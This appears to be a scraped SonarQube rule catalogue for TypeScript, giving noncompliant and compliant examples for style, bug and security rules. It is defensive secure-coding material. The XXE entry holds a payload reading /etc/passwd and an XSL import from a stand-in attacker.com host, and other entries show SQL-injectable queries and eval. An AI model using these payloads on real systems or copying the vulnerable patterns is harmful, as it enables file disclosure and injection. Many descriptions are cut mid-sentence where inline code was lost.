When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is likely a mistake. This rule raises an issue when a function contains several Noncompliant Code Examplefunction foo(a) { // Noncompliant let b = 12; if (a) { return b; } return b; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2427 |
The Noncompliant Code ExampleparseInt("010"); // Noncompliant; pre-2013 browsers may return 8 Compliant SolutionparseInt("010", 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1219 |
Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error. Noncompliant Code ExampleCase 1, the code is syntactically correct but the behavior is not the expected one switch (day) { case MONDAY: case TUESDAY: WEDNESDAY: // instead of "case WEDNESDAY" doSomething(); break; ... } Case 2, the code is correct and behaves as expected but is hardly readable switch (day) { case MONDAY: break; case TUESDAY: foo:for(i = 0 ; i < X ; i++) { /* ... */ break foo; // this break statement doesn't relate to the nesting case TUESDAY /* ... */ } break; /* ... */ } Compliant SolutionCase 1 switch (day) { case MONDAY: case TUESDAY: case WEDNESDAY: doSomething(); break; ... } Case 2 switch (day) { case MONDAY: break; case TUESDAY: compute(args); // put the content of the labelled "for" statement in a dedicated method break; /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3513 |
The magic of JavaScript is that you can pass arguments to functions that don't declare parameters, and on the other side, you can use those
passed-in arguments inside the no-args But just because you can, that does't mean you should. The expectation and use of arguments inside functions that don't explicitly declare them is confusing to callers. No one should ever have to read and fully understand a function to be able to use it competently. If you don't want to name arguments explicitly, use the Noncompliant Code Examplefunction concatenate() { let args = Array.prototype.slice.call(arguments); // Noncompliant return args.join(', '); } function doSomething(isTrue) { var args = Array.prototype.slice.call(arguments, 1); // Noncompliant if (!isTrue) { for (var arg of args) { ... } } } Compliant Solutionfunction concatenate(...args) { return args.join(', '); } function doSomething(isTrue, ...values) { if (!isTrue) { for (var value of values) { ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2424 |
Overriding an object changes its behavior and could potentially impact all code using that object. Overriding standard, built-in objects could therefore have broad, potentially catastrophic effects on previously-working code. This rule detects overrides of the following native objects:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4721 |
Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands. Ask Yourself Whether
There is a risk if you answered yes to any of this questions.
Recommended Secure Coding PracticesUse functions that don't spawn a shell. Sensitive Code Exampleconst cp = require('child_process'); // A shell will be spawn in these following cases: cp.exec(str); // Sensitive cp.execSync(str); // Sensitive cp.spawn(str, { shell: true }); // Sensitive cp.spawnSync(str, { shell: true }); // Sensitive cp.execFile(str, { shell: true }); // Sensitive cp.execFileSync(str, { shell: true }); // Sensitive Compliant Solutionconst cp = require('child_process'); cp.execFile("/usr/bin/file.exe", { shell: false }); // Compliant (note that by default with execFile method, shell property is set to false) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3512 |
ECMAScript 2015 added the ability to use template literals instead of concatenation. Since their use is clearer and more concise, they are preferred in environments that support ECMAScript 2015. Noncompliant Code Examplefunction sayHello(name) { console.log("hello " + name); // Noncompliant } Compliant Solutionfunction sayHello(name) { console.log(`hello ${name}`); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1523 |
Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities: Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security. This rule raises issues on calls to Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRegarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser). Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way. Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer. Sensitive Code Examplelet value = eval('obj.' + propName); // Sensitive let func = Function('obj' + propName); // Sensitive ExceptionsThis rule will not raise an issue when the argument of the See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1525 |
The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production. Noncompliant Code Examplefor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); // Wait for user to resume. debugger; } Compliant Solutionfor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); } See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1526 |
Variables declared with To keep confusion to a minimum, Noncompliant Code Examplevar x = 1; function fun(){ alert(x); // Noncompliant as x is declared later in the same scope if(something) { var x = 42; // Declaration in function scope (not block scope!) shadows global variable } } fun(); // Unexpectedly alerts "undefined" instead of "1" Compliant Solutionvar x = 1; function fun() { print(x); if (something) { x = 42; } } fun(); // Print "1" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1528 |
Array literals should always be preferred to Array constructors. Array constructors are error-prone due to the way their arguments are interpreted. If more than one argument is used, the array length will be equal to the number of arguments. However, using a single argument will have one of three consequences:
let arr = new Array(3); // [empty × 3]
let arr = new Array(3.14); // RangeError: Invalid array length
let arr = new Array("3"); // ["3"] Note that even if you set the length of an array, it will be empty. That is, it will have the number of elements you declared, but they won't contain anything, so no callbacks will be applied to the array elements. For these reasons, if someone changes the code to pass 1 argument instead of 2 arguments, the array might not have the expected length. To avoid these kinds of weird cases, always use the more readable array literal initialization format. Noncompliant Code Examplelet myArray = new Array(x1, x2, x3); // Noncompliant. Results in 3-element array. let emptyArray = new Array(); // Noncompliant. Results in 0-element array. let unstableArray = new Array(n); // Noncompliant. Variable in results. let arr = new Array(3); // Noncompliant; empty array of length 3 arr.foreach((x) => alert("Hello " + x)); // callback is not executed because there's nothing in arr let anotherArr = arr.map(() => 42); // anotherArr is also empty because callback didn't execute Compliant Solutionlet myArray = [x1, x2, x3]; let emptyArray = []; // if "n" is the only array element let unstableArray = [n]; // or, if "n" is the array length (since ES 2015) let unstableArray = Array.from({length: n}); let arr = ["Elena", "Mike", "Sarah"]; arr.foreach((x) => alert("Hello " + x)); let anotherArr = arr.map(() => 42); // anotherArr now holds 42 in each element |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Exampletry { doSomething(); } catch (ex) { // Noncompliant throw ex; } Compliant Solutiontry { doSomething(); } catch (ex) { console.err(ex); throw ex; } or doSomething(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1529 |
The bitwise operators This rule raises an issue when Noncompliant Code Exampleif (a & b) { ... } // Noncompliant; & used in error Compliant Solutionif (a && b) { ... } ExceptionsWhen a file contains other bitwise operations, ( |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression function DoSomething(){...} // Noncompliant Compliant Solutionfunction doSomething(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names (and interfaces for TypeScript) match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1763 |
Jump statements ( Noncompliant Code Examplefunction fun(a) { var i = 10; return i + a; i++; // Noncompliant; this is never executed } Compliant Solutionfunction fun(int a) { var i = 10; return i + a; } ExceptionsThis rule ignores unreachable switch (x) { case 42: return 43; break; // Compliant default: doSomething(); } Hoisted variables declarations without initialization are always considered reachable. function bar() { return x = function() { x.foo = 42; } var x; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5689 |
Disclosing technology fingerprints allows an attacker to gather information about the technologies used to develop the web application and to perform relevant security assessments more quickly (like the identification of known vulnerable components). Ask Yourself Whether
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesIt's recommended to not disclose technologies used on a website, with In addition, it's better to completely disable this HTTP header rather than setting it a random value. Sensitive Code ExampleExpress.js name is disclosed by default into the let express = require('express'); let app = express(); // Sensitive app.get('/', function (req, res) { res.send('hello') }); Compliant Solution
let express = require('express'); let app1 = express(); // Compliant app1.disable("x-powered-by"); let helmet = require("helmet"); let app2 = express(); // Compliant app2.use(helmet.hidePoweredBy()); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Exampleif (a == b && a == b) { // if the first one is true, the second one is too doX(); } if (a > a) { // always false doW(); } var j = 5 / 5; //always 1 var k = 5 - 5; //always 0 ExceptionsThe specific case of testing one variable against itself is a valid test for Similarly, left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored. Moreover comma operator if (f !== f) { // test for NaN value console.log("f is NaN"); } var i = 1 << 1; // Compliant var j = a << a; // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. ExceptionsTo prevent generating some false-positives, literals having less than 10 characters are excluded as well as literals matching |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3812 |
Mixing up the order of operations will almost always yield unexpected results. Similarly, mis-applied negation will also yield bad results. For instance consider the difference between This rule raises an issue when the left operand of an Noncompliant Code Exampleif (!"prop" in myObj) { // Noncompliant; "in" operator is checking property "false" doTheThing(); // this block will be never executed } if (!foo instanceof MyClass) { // Noncompliant; "!foo" returns a boolean, which is not an instance of anything doTheOtherThing(); // this block is never executed } Compliant Solutionif (!("prop" in myObj)) { doTheThing(); } if (!(foo instanceof MyClass)) { doTheOtherThing(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1515 |
Defining a function inside of a loop can yield unexpected results. Such a function keeps references to the variables which are defined in outer scopes. All function instances created inside the loop therefore see the same values for these variables, which is probably not expected. Noncompliant Code Examplevar funs = []; for (var i = 0; i < 13; i++) { funs[i] = function() { // Non-Compliant return i; }; } console.log(funs[0]()); // 13 instead of 0 console.log(funs[1]()); // 13 instead of 1 console.log(funs[2]()); // 13 instead of 2 console.log(funs[3]()); // 13 instead of 3 ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2966 |
The point of declaring an optional property or parameter is to make explicit the fact that it might contain no valid value, i.e. Noncompliant Code Examplefunction doTheThing(foo?: Foo) { let s = foo!.bar; // Noncompliant } Compliant Solutionfunction doTheThing(foo?: Foo) { if (foo) { let s = foo.bar; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1516 |
Continuing a string across a linebreak is supported in most script engines, but it is not a part of ECMAScript. Additionally, the whitespace at the beginning of each line can't be safely stripped at compile time, and any whitespace after the slash will result in tricky errors. Noncompliant Code Examplevar myString = 'A rather long string of English text, an error message \ actually that just keeps going and going -- an error \ message to make the Energizer bunny blush (right through \ those Schwarzenegger shades)! Where was I? Oh yes, \ you\'ve got an error and all the extraneous whitespace is \ just gravy. Have a nice day.'; // Noncompliant Compliant Solutionvar myString = 'A rather long string of English text, an error message ' + 'actually that just keeps going and going -- an error ' + 'message to make the Energizer bunny blush (right through ' + 'those Schwarzenegger shades)! Where was I? Oh yes, ' + 'you\'ve got an error and all the extraneous whitespace is ' + 'just gravy. Have a nice day.'; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3498 |
When an already-defined variable is given the same name within a new object, object-shorthand syntax is preferred as being more compact. Similarly, object-shorthand is also preferred for the definition of functions in object literals. Noncompliant Code Examplelet a = 1; let myObj = { a : a, // Noncompliant fun: function () { // Noncompliant //... } } Compliant Solutionlet a = 1; let myObj = { a, fun () { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1871 |
Having two Noncompliant Code Exampleswitch (i) { case 1: doFirstThing(); doSomething(); break; case 2: doSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation doFirstThing(); doSomething(); break; default: doTheRest(); } if (a >= 0 && a < 10) { doFirstThing(); doTheThing(); } else if (a >= 10 && a < 20) { doTheOtherThing(); } else if (a >= 20 && a < 50) { doFirstThing(); doTheThing(); // Noncompliant; duplicates first condition } else { doTheRest(); } ExceptionsBlocks in an if (a == 1) { doSomething(); //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse(); } else { doSomething(); } But this exception does not apply to if (a == 1) { doSomething(); //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3257 |
Unnecessarily verbose declarations and initializations make it harder to read the code, and should be simplified. Specifically, primitive
( Noncompliant Code Exampleconst n: number = 1; // Noncompliant, "number" can be omitted function foo(s: string = "") {} // Noncompliant, "string" can be omitted class Bar { b: boolean = true; // Noncompliant, "boolean" can be omitted } Compliant Solutionconst n = 1; function foo(s = "") {} class Bar { b = true; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3499 |
Grouping all the shorthand declarations together in an object makes the declaration as a whole more readable. This rule accepts shorthand declarations grouped at either the beginning or end of an object. Noncompliant Code Examplelet obj1 = { foo, a: 1, color, // Noncompliant b: 2, judyGarland // Noncompliant } Compliant Solutionlet obj1 = { foo, color, judyGarland, a: 1, b: 2 } or let obj1 = { a: 1, b: 2, foo, color, judyGarland } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code Examplefor (let i = 0; i < 10; i++) { // noncompliant, loop only executes once console.log("i is " + i); break; } ... for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once if (i == x) { break; } else { console.log("i is " + i); return; } } Compliant Solutionfor (let i = 0; i < 10; i++) { console.log("i is " + i); } ... for (let i = 0; i < 10; i++) { if (i == x) { break; } else { console.log("i is " + i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1994 |
It can be extremely confusing when a Noncompliant Code Examplefor (i = 0; i < 10; j++) { // Noncompliant // ... i++; } Compliant Solutionfor (i = 0; i < 10; i++, j++) { // ... } Or for (i = 0; i < 10; i++) { // ... j++; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1874 |
Once deprecated, classes, and interfaces, and their members should be avoided, rather than used, inherited or extended. Deprecation is a warning that the class or interface has been superseded, and will eventually be removed. The deprecation period allows you to make a smooth transition away from the aging, soon-to-be-retired technology. Noncompliant Code Exampleexport interface LanguageService { /** * @deprecated Use getEncodedSyntacticClassifications instead. */ getSyntacticClassifications(fileName: string, span: TextSpan): ClassifiedSpan[]; } const syntacticClassifications = getLanguageService().getSyntacticClassifications(file, span); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S117 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule checks that all variable, property and parameter names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression const foo_bar = 1; const baz_ = 2; Compliant Solutionconst fooBar = 1; const _baz = 2; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S113 |
Some tools work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: +class Test { +} \ No newline at end of file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1788 |
The ability to define default values for function parameters can make a function easier to use. Default parameter values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code. But all function parameters with default values should be declared after the function parameters without default values. Otherwise, it makes it
impossible for callers to take advantage of defaults; they must re-specify the defaulted values or pass Noncompliant Code Examplefunction multiply(a = 1, b) { // Noncompliant return a*b; } var x = multiply(42); // returns NaN as b is undefined Compliant Solutionfunction multiply(b, a = 1) { return a*b; } var x = multiply(42); // returns 42 as expected |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3723 |
Modern browsers ignore unneeded, trailing commas, so there are no negatives to having them unless you're supporting an IE 8 application. Since they make adding new properties simpler, their use is preferred. This rule raises an issue when the last item in an object declaration or array declaration does not end with a trailing comma and does not lie on the same line as the closing curly brace or bracket. Noncompliant Code Examplevar joe = { fname: "Joe", lname: "Smith" // Noncompliant }; Compliant Solutionvar joe = { fname: "Joe", lname: "Smith", // OK }; var joe = { fname: "Joe", lname: "Smith"}; // OK |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2755 |
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs. Example in this XML document, an external entity read the /etc/passwd file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> In this XSL document, network access is allowed which can lead to SSRF vulnerabilities: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet> It is recommended to disable access to external entities and network access in general. Noncompliant Code Examplelibxmljs module: const libxmljs = require("libxmljs"); var fs = require('fs'); var xml = fs.readFileSync('xxe.xml', 'utf8'); var xmlDoc = libxmljs.parseXmlString(xml, { noblanks: true, noent: true, nocdata: true }); // Noncompliant: noent set to true Compliant Solutionlibxmljs module: const libxmljs = require("libxmljs"); var fs = require('fs'); var xml = fs.readFileSync('xxe.xml', 'utf8'); var xmlDoc = libxmljs.parseXmlString(xml); // Compliant: noent set to false by default See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2999 |
The Noncompliant Code Examplefunction MyClass() { this.foo = 'bar'; } var someClass = 1; var obj1 = new someClass; // Noncompliant; var obj2 = new MyClass(); // Noncompliant if considerJSDoc parameter set to true. Compliant when considerJSDoc=false Compliant Solution/** * @constructor */ function MyClass() { this.foo = 'bar'; } var someClass = function(){ this.prop = 1; } var obj1 = new someClass; // Compliant var obj2 = new MyClass(); // Compliant regardless of considerJSDoc value |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Examplelet target =-5; let num = 3; target =- num; // Noncompliant; target = -3. Is that really what's meant? target =+ num; // Noncompliant; target = 3 Compliant Solutionlet target = -5; let num = 3; target = -num; // Compliant; intent to assign inverse value of num is clear target += num; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleconst net = require('net'); var socket = new net.Socket(); // Sensitive socket.connect(80, 'google.com'); // net.createConnection creates a new net.Socket, initiates connection with socket.connect(), then returns the net.Socket that starts the connection net.createConnection({ port: port }, () => {}); // Sensitive // net.connect is an alias to net.createConnection net.connect({ port: port }, () => {}); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4817 |
Executing XPATH expressions is security-sensitive. It has led in the past to the following vulnerabilities: User provided data such as URL parameters should always be considered as untrusted and tainted. Constructing XPath expressions directly from tainted data enables attackers to inject specially crafted values that changes the initial meaning of the expression itself. Successful XPath injections attacks can read sensitive information from the XML document. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize any user input before using it in an XPATH expression. Sensitive Code Example// === Server side === var xpath = require('xpath'); var xmldom = require('xmldom'); var doc = new xmldom.DOMParser().parseFromString(xml); var nodes = xpath.select(userinput, doc); // Sensitive var node = xpath.select1(userinput, doc); // Sensitive // === Client side === // Chrome, Firefox, Edge, Opera, and Safari use the evaluate() method to select nodes: var nodes = document.evaluate(userinput, xmlDoc, null, XPathResult.ANY_TYPE, null); // Sensitive // Internet Explorer uses its own methods to select nodes: var nodes = xmlDoc.selectNodes(userinput); // Sensitive var node = xmlDoc.SelectSingleNode(userinput); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2990 |
When the keyword Noncompliant Code Examplethis.foo = 1; // Noncompliant console.log(this.foo); // Noncompliant function MyObj() { this.foo = 1; // Compliant } MyObj.func1 = function() { if (this.foo == 1) { // Compliant // ... } } Compliant Solutionfoo = 1; console.log(foo); function MyObj() { this.foo = 1; } MyObj.func1 = function() { if (this.foo == 1) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Examplefoo(); bar(); // Noncompliant Compliant Solutionfoo(); bar(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. This rule raises an issue when any of the following NodeJS APIs are used:
The following formatting methods will raise an issue:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Example// === MySQL === const mysql = require('mysql'); const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db }); mycon.connect(function(err) { mycon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive }); // === PostgreSQL === const pg = require('pg'); const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db }); pgcon.connect(); pgcon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive Compliant Solution// === MySQL === const mysql = require('mysql'); const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db }); mycon.connect(function(err) { mycon.query('SELECT name FROM users WHERE id = ?', [userinput], (err, res) => {}); }); // === PostgreSQL === const pg = require('pg'); const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db }); pgcon.connect(); pgcon.query('SELECT name FROM users WHERE id = $1', [userinput], (err, res) => {}); ExceptionsThis rule's current implementation does not follow variables. It will only detect SQL queries which are formatted directly in the function call. const sql = 'SELECT * FROM users WHERE id = ' + userinput; mycon.query(sql, (err, res) => {}); // Sensitive but no issue is raised. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4136 |
For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options. Noncompliant Code Exampleinterface MyInterface { doTheThing(): number; doTheOtherThing(): string; doTheThing(str: string): string; // Noncompliant } Compliant Solutioninterface MyInterface { doTheThing(): number; doTheThing(str: string): string; doTheOtherThing(): string; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2871 |
The default sort order is alphabetic, rather than numeric, regardless of the types in the array. Specifically, even if an array contains only numbers, all values in it will be converted to strings and sorted lexicographically, for an order like this: 1, 15, 2, 20, 5. Fortunately the Noncompliant Code Examplevar myarray = [80, 3, 9, 34, 23, 5, 1]; myarray.sort(); console.log(myarray); // outputs: [1, 23, 3, 34, 5, 80, 9] Compliant Solutionvar myarray = [80, 3, 9, 34, 23, 5, 1]; myarray.sort((a, b) => (a - b)); console.log(myarray); // outputs: [1, 3, 5, 9, 23, 34, 80] |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S121 |
